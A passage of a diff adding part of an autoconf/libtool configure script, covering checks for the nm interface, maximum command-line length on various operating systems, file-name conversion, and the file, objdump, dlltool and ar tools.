\\\"conftest.$ac_objext\\\"\"" >&5) + (eval "$NM \"conftest.$ac_objext\"" 2>conftest.err > conftest.out) + cat conftest.err >&5 + (eval echo "\"\$as_me:$LINENO: output\"" >&5) + cat conftest.out >&5 + if $GREP 'External.*some_variable' conftest.out > /dev/null; then + lt_cv_nm_interface="MS dumpbin" + fi + rm -f conftest* ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_nm_interface" >&5 +printf "%s\n" "$lt_cv_nm_interface" >&6; } + +# find the maximum length of command line arguments +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking the maximum length of command line arguments" >&5 +printf %s "checking the maximum length of command line arguments... " >&6; } +if test ${lt_cv_sys_max_cmd_len+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) i=0 + teststring=ABCD + + case $build_os in + msdosdjgpp*) + # On DJGPP, this test can blow up pretty badly due to problems in libc + # (any single argument exceeding 2000 bytes causes a buffer overrun + # during glob expansion). Even if it were fixed, the result of this + # check would be larger than it should be. + lt_cv_sys_max_cmd_len=12288; # 12K is about right + ;; + + gnu*) + # Under GNU Hurd, this test is not required because there is + # no limit to the length of command line arguments. + # Libtool will interpret -1 as no limit whatsoever + lt_cv_sys_max_cmd_len=-1; + ;; + + cygwin* | mingw* | cegcc*) + # On Win9x/ME, this test blows up -- it succeeds, but takes + # about 5 minutes as the teststring grows exponentially. + # Worse, since 9x/ME are not pre-emptively multitasking, + # you end up with a "frozen" computer, even though with patience + # the test eventually succeeds (with a max line length of 256k). + # Instead, let's just punt: use the minimum linelength reported by + # all of the supported platforms: 8192 (on NT/2K/XP). + lt_cv_sys_max_cmd_len=8192; + ;; + + mint*) + # On MiNT this can take a long time and run out of memory. + lt_cv_sys_max_cmd_len=8192; + ;; + + amigaos*) + # On AmigaOS with pdksh, this test takes hours, literally. + # So we just punt and use a minimum line length of 8192. + lt_cv_sys_max_cmd_len=8192; + ;; + + bitrig* | darwin* | dragonfly* | freebsd* | midnightbsd* | netbsd* | openbsd*) + # This has been around since 386BSD, at least. Likely further. + if test -x /sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax` + elif test -x /usr/sbin/sysctl; then + lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax` + else + lt_cv_sys_max_cmd_len=65536 # usable default for all BSDs + fi + # And add a safety zone + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3` + ;; + + interix*) + # We know the value 262144 and hardcode it with a safety zone (like BSD) + lt_cv_sys_max_cmd_len=196608 + ;; + + os2*) + # The test takes a long time on OS/2. + lt_cv_sys_max_cmd_len=8192 + ;; + + osf*) + # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure + # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not + # nice to cause kernel panics so lets avoid the loop below. + # First set a reasonable default. + lt_cv_sys_max_cmd_len=16384 + # + if test -x /sbin/sysconfig; then + case `/sbin/sysconfig -q proc exec_disable_arg_limit` in + *1*) lt_cv_sys_max_cmd_len=-1 ;; + esac + fi + ;; + sco3.2v5*) + lt_cv_sys_max_cmd_len=102400 + ;; + sysv5* | sco5v6* | sysv4.2uw2*) + kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null` + if test -n "$kargmax"; then + lt_cv_sys_max_cmd_len=`echo $kargmax | $SED 's/.*[ ]//'` + else + lt_cv_sys_max_cmd_len=32768 + fi + ;; + *) + lt_cv_sys_max_cmd_len=`(getconf ARG_MAX) 2> /dev/null` + if test -n "$lt_cv_sys_max_cmd_len" && \ + test undefined != "$lt_cv_sys_max_cmd_len"; then + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4` + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3` + else + # Make teststring a little bigger before we do anything with it. + # a 1K string should be a reasonable start. + for i in 1 2 3 4 5 6 7 8; do + teststring=$teststring$teststring + done + SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}} + # If test is not a shell built-in, we'll probably end up computing a + # maximum length that is only half of the actual maximum length, but + # we can't tell. + while { test X`env echo "$teststring$teststring" 2>/dev/null` \ + = "X$teststring$teststring"; } >/dev/null 2>&1 && + test 17 != "$i" # 1/2 MB should be enough + do + i=`expr $i + 1` + teststring=$teststring$teststring + done + # Only check the string length outside the loop. + lt_cv_sys_max_cmd_len=`expr "X$teststring" : ".*" 2>&1` + teststring= + # Add a significant safety factor because C++ compilers can tack on + # massive amounts of additional arguments before passing them to the + # linker. It appears as though 1/2 is a usable value. + lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2` + fi + ;; + esac + ;; +esac +fi + +if test -n "$lt_cv_sys_max_cmd_len"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sys_max_cmd_len" >&5 +printf "%s\n" "$lt_cv_sys_max_cmd_len" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: none" >&5 +printf "%s\n" "none" >&6; } +fi +max_cmd_len=$lt_cv_sys_max_cmd_len + + + + + + +: ${CP="cp -f"} +: ${MV="mv -f"} +: ${RM="rm -f"} + +if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then + lt_unset=unset +else + lt_unset=false +fi + + + + + +# test EBCDIC or ASCII +case `echo X|tr X '\101'` in + A) # ASCII based system + # \n is not interpreted correctly by Solaris 8 /usr/ucb/tr + lt_SP2NL='tr \040 \012' + lt_NL2SP='tr \015\012 \040\040' + ;; + *) # EBCDIC based system + lt_SP2NL='tr \100 \n' + lt_NL2SP='tr \r\n \100\100' + ;; +esac + + + + + + + + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5 +printf %s "checking how to convert $build file names to $host format... " >&6; } +if test ${lt_cv_to_host_file_cmd+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) case $host in + *-*-mingw* ) + case $build in + *-*-mingw* ) # actually msys + lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32 + ;; + *-*-cygwin* ) + lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32 + ;; + * ) # otherwise, assume *nix + lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32 + ;; + esac + ;; + *-*-cygwin* ) + case $build in + *-*-mingw* ) # actually msys + lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin + ;; + *-*-cygwin* ) + lt_cv_to_host_file_cmd=func_convert_file_noop + ;; + * ) # otherwise, assume *nix + lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin + ;; + esac + ;; + * ) # unhandled hosts (and "normal" native builds) + lt_cv_to_host_file_cmd=func_convert_file_noop + ;; +esac + ;; +esac +fi + +to_host_file_cmd=$lt_cv_to_host_file_cmd +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5 +printf "%s\n" "$lt_cv_to_host_file_cmd" >&6; } + + + + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5 +printf %s "checking how to convert $build file names to toolchain format... " >&6; } +if test ${lt_cv_to_tool_file_cmd+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) #assume ordinary cross tools, or native build. +lt_cv_to_tool_file_cmd=func_convert_file_noop +case $host in + *-*-mingw* ) + case $build in + *-*-mingw* ) # actually msys + lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32 + ;; + esac + ;; +esac + ;; +esac +fi + +to_tool_file_cmd=$lt_cv_to_tool_file_cmd +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5 +printf "%s\n" "$lt_cv_to_tool_file_cmd" >&6; } + + + + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5 +printf %s "checking for $LD option to reload object files... " >&6; } +if test ${lt_cv_ld_reload_flag+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_ld_reload_flag='-r' ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ld_reload_flag" >&5 +printf "%s\n" "$lt_cv_ld_reload_flag" >&6; } +reload_flag=$lt_cv_ld_reload_flag +case $reload_flag in +"" | " "*) ;; +*) reload_flag=" $reload_flag" ;; +esac +reload_cmds='$LD$reload_flag -o $output$reload_objs' +case $host_os in + cygwin* | mingw* | pw32* | cegcc*) + if test yes != "$GCC"; then + reload_cmds=false + fi + ;; + darwin*) + if test yes = "$GCC"; then + reload_cmds='$LTCC $LTCFLAGS -nostdlib $wl-r -o $output$reload_objs' + else + reload_cmds='$LD$reload_flag -o $output$reload_objs' + fi + ;; +esac + + + + + + + + + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}file", so it can be a program name with args. +set dummy ${ac_tool_prefix}file; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_FILECMD+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$FILECMD"; then + ac_cv_prog_FILECMD="$FILECMD" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_FILECMD="${ac_tool_prefix}file" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +FILECMD=$ac_cv_prog_FILECMD +if test -n "$FILECMD"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $FILECMD" >&5 +printf "%s\n" "$FILECMD" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_FILECMD"; then + ac_ct_FILECMD=$FILECMD + # Extract the first word of "file", so it can be a program name with args. +set dummy file; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_FILECMD+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_FILECMD"; then + ac_cv_prog_ac_ct_FILECMD="$ac_ct_FILECMD" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_FILECMD="file" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_FILECMD=$ac_cv_prog_ac_ct_FILECMD +if test -n "$ac_ct_FILECMD"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_FILECMD" >&5 +printf "%s\n" "$ac_ct_FILECMD" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_FILECMD" = x; then + FILECMD=":" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + FILECMD=$ac_ct_FILECMD + fi +else + FILECMD="$ac_cv_prog_FILECMD" +fi + + + + + + + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}objdump", so it can be a program name with args. +set dummy ${ac_tool_prefix}objdump; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_OBJDUMP+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$OBJDUMP"; then + ac_cv_prog_OBJDUMP="$OBJDUMP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_OBJDUMP="${ac_tool_prefix}objdump" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +OBJDUMP=$ac_cv_prog_OBJDUMP +if test -n "$OBJDUMP"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $OBJDUMP" >&5 +printf "%s\n" "$OBJDUMP" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_OBJDUMP"; then + ac_ct_OBJDUMP=$OBJDUMP + # Extract the first word of "objdump", so it can be a program name with args. +set dummy objdump; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_OBJDUMP+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_OBJDUMP"; then + ac_cv_prog_ac_ct_OBJDUMP="$ac_ct_OBJDUMP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_OBJDUMP="objdump" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_OBJDUMP=$ac_cv_prog_ac_ct_OBJDUMP +if test -n "$ac_ct_OBJDUMP"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_OBJDUMP" >&5 +printf "%s\n" "$ac_ct_OBJDUMP" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_OBJDUMP" = x; then + OBJDUMP="false" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + OBJDUMP=$ac_ct_OBJDUMP + fi +else + OBJDUMP="$ac_cv_prog_OBJDUMP" +fi + +test -z "$OBJDUMP" && OBJDUMP=objdump + + + + + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking how to recognize dependent libraries" >&5 +printf %s "checking how to recognize dependent libraries... " >&6; } +if test ${lt_cv_deplibs_check_method+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_file_magic_cmd='$MAGIC_CMD' +lt_cv_file_magic_test_file= +lt_cv_deplibs_check_method='unknown' +# Need to set the preceding variable on all platforms that support +# interlibrary dependencies. +# 'none' -- dependencies not supported. +# 'unknown' -- same as none, but documents that we really don't know. +# 'pass_all' -- all dependencies passed with no checks. +# 'test_compile' -- check by making test program. +# 'file_magic [[regex]]' -- check by looking for files in library path +# that responds to the $file_magic_cmd with a given extended regex. +# If you have 'file' or equivalent on your system and you're not sure +# whether 'pass_all' will *always* work, you probably want this one. + +case $host_os in +aix[4-9]*) + lt_cv_deplibs_check_method=pass_all + ;; + +beos*) + lt_cv_deplibs_check_method=pass_all + ;; + +bsdi[45]*) + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib)' + lt_cv_file_magic_cmd='$FILECMD -L' + lt_cv_file_magic_test_file=/shlib/libc.so + ;; + +cygwin*) + # func_win32_libid is a shell function defined in ltmain.sh + lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL' + lt_cv_file_magic_cmd='func_win32_libid' + ;; + +mingw* | pw32*) + # Base MSYS/MinGW do not provide the 'file' command needed by + # func_win32_libid shell function, so use a weaker test based on 'objdump', + # unless we find 'file', for example because we are cross-compiling. + if ( file / ) >/dev/null 2>&1; then + lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL' + lt_cv_file_magic_cmd='func_win32_libid' + else + # Keep this pattern in sync with the one in func_win32_libid. + lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)' + lt_cv_file_magic_cmd='$OBJDUMP -f' + fi + ;; + +cegcc*) + # use the weaker test based on 'objdump'. See mingw*. + lt_cv_deplibs_check_method='file_magic file format pe-arm-.*little(.*architecture: arm)?' + lt_cv_file_magic_cmd='$OBJDUMP -f' + ;; + +darwin* | rhapsody*) + lt_cv_deplibs_check_method=pass_all + ;; + +freebsd* | dragonfly* | midnightbsd*) + if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then + case $host_cpu in + i*86 ) + # Not sure whether the presence of OpenBSD here was a mistake. + # Let's accept both of them until this is cleared up. + lt_cv_deplibs_check_method='file_magic (FreeBSD|OpenBSD|DragonFly)/i[3-9]86 (compact )?demand paged shared library' + lt_cv_file_magic_cmd=$FILECMD + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so.*` + ;; + esac + else + lt_cv_deplibs_check_method=pass_all + fi + ;; + +haiku*) + lt_cv_deplibs_check_method=pass_all + ;; + +hpux10.20* | hpux11*) + lt_cv_file_magic_cmd=$FILECMD + case $host_cpu in + ia64*) + lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF-[0-9][0-9]) shared object file - IA64' + lt_cv_file_magic_test_file=/usr/lib/hpux32/libc.so + ;; + hppa*64*) + lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|ELF[ -][0-9][0-9])(-bit)?( [LM]SB)? shared object( file)?[, -]* PA-RISC [0-9]\.[0-9]' + lt_cv_file_magic_test_file=/usr/lib/pa20_64/libc.sl + ;; + *) + lt_cv_deplibs_check_method='file_magic (s[0-9][0-9][0-9]|PA-RISC[0-9]\.[0-9]) shared library' + lt_cv_file_magic_test_file=/usr/lib/libc.sl + ;; + esac + ;; + +interix[3-9]*) + # PIC code is broken on Interix 3.x, that's why |\.a not |_pic\.a here + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|\.a)$' + ;; + +irix5* | irix6* | nonstopux*) + case $LD in + *-32|*"-32 ") libmagic=32-bit;; + *-n32|*"-n32 ") libmagic=N32;; + *-64|*"-64 ") libmagic=64-bit;; + *) libmagic=never-match;; + esac + lt_cv_deplibs_check_method=pass_all + ;; + +# This must be glibc/ELF. +linux* | k*bsd*-gnu | kopensolaris*-gnu | gnu*) + lt_cv_deplibs_check_method=pass_all + ;; + +netbsd*) + if echo __ELF__ | $CC -E - | $GREP __ELF__ > /dev/null; then + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so|_pic\.a)$' + fi + ;; + +newos6*) + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (executable|dynamic lib)' + lt_cv_file_magic_cmd=$FILECMD + lt_cv_file_magic_test_file=/usr/lib/libnls.so + ;; + +*nto* | *qnx*) + lt_cv_deplibs_check_method=pass_all + ;; + +openbsd* | bitrig*) + if test -z "`echo __ELF__ | $CC -E - | $GREP __ELF__`"; then + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|\.so|_pic\.a)$' + else + lt_cv_deplibs_check_method='match_pattern /lib[^/]+(\.so\.[0-9]+\.[0-9]+|_pic\.a)$' + fi + ;; + +osf3* | osf4* | osf5*) + lt_cv_deplibs_check_method=pass_all + ;; + +rdos*) + lt_cv_deplibs_check_method=pass_all + ;; + +solaris*) + lt_cv_deplibs_check_method=pass_all + ;; + +sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) + lt_cv_deplibs_check_method=pass_all + ;; + +sysv4 | sysv4.3*) + case $host_vendor in + motorola) + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [ML]SB (shared object|dynamic lib) M[0-9][0-9]* Version [0-9]' + lt_cv_file_magic_test_file=`echo /usr/lib/libc.so*` + ;; + ncr) + lt_cv_deplibs_check_method=pass_all + ;; + sequent) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [LM]SB (shared object|dynamic lib )' + ;; + sni) + lt_cv_file_magic_cmd='/bin/file' + lt_cv_deplibs_check_method="file_magic ELF [0-9][0-9]*-bit [LM]SB dynamic lib" + lt_cv_file_magic_test_file=/lib/libc.so + ;; + siemens) + lt_cv_deplibs_check_method=pass_all + ;; + pc) + lt_cv_deplibs_check_method=pass_all + ;; + esac + ;; + +tpf*) + lt_cv_deplibs_check_method=pass_all + ;; +os2*) + lt_cv_deplibs_check_method=pass_all + ;; +esac + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5 +printf "%s\n" "$lt_cv_deplibs_check_method" >&6; } + +file_magic_glob= +want_nocaseglob=no +if test "$build" = "$host"; then + case $host_os in + mingw* | pw32*) + if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then + want_nocaseglob=yes + else + file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"` + fi + ;; + esac +fi + +file_magic_cmd=$lt_cv_file_magic_cmd +deplibs_check_method=$lt_cv_deplibs_check_method +test -z "$deplibs_check_method" && deplibs_check_method=unknown + + + + + + + + + + + + + + + + + + + + + + +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args. +set dummy ${ac_tool_prefix}dlltool; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_DLLTOOL+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$DLLTOOL"; then + ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +DLLTOOL=$ac_cv_prog_DLLTOOL +if test -n "$DLLTOOL"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5 +printf "%s\n" "$DLLTOOL" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_DLLTOOL"; then + ac_ct_DLLTOOL=$DLLTOOL + # Extract the first word of "dlltool", so it can be a program name with args. +set dummy dlltool; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_DLLTOOL+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_DLLTOOL"; then + ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_DLLTOOL="dlltool" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL +if test -n "$ac_ct_DLLTOOL"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5 +printf "%s\n" "$ac_ct_DLLTOOL" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_DLLTOOL" = x; then + DLLTOOL="false" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + DLLTOOL=$ac_ct_DLLTOOL + fi +else + DLLTOOL="$ac_cv_prog_DLLTOOL" +fi + +test -z "$DLLTOOL" && DLLTOOL=dlltool + + + + + + + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5 +printf %s "checking how to associate runtime and link libraries... " >&6; } +if test ${lt_cv_sharedlib_from_linklib_cmd+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) lt_cv_sharedlib_from_linklib_cmd='unknown' + +case $host_os in +cygwin* | mingw* | pw32* | cegcc*) + # two different shell functions defined in ltmain.sh; + # decide which one to use based on capabilities of $DLLTOOL + case `$DLLTOOL --help 2>&1` in + *--identify-strict*) + lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib + ;; + *) + lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback + ;; + esac + ;; +*) + # fallback: assume linklib IS sharedlib + lt_cv_sharedlib_from_linklib_cmd=$ECHO + ;; +esac + ;; +esac +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5 +printf "%s\n" "$lt_cv_sharedlib_from_linklib_cmd" >&6; } +sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd +test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO + + + + + + + +if test -n "$ac_tool_prefix"; then + for ac_prog in ar + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_AR+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$AR"; then + ac_cv_prog_AR="$AR" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_AR="$ac_tool_prefix$ac_prog" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi ;; +esac +fi +AR=$ac_cv_prog_AR +if test -n "$AR"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $AR" >&5 +printf "%s\n" "$AR" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + test -n "$AR" && break + done +fi +if test -z "$AR"; then + ac_ct_AR=$AR + for ac_prog in ar +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_AR+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) if test -n "$ac_ct_AR"; then + ac_cv_prog_ac_ct_AR="$ac_ct_AR" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ 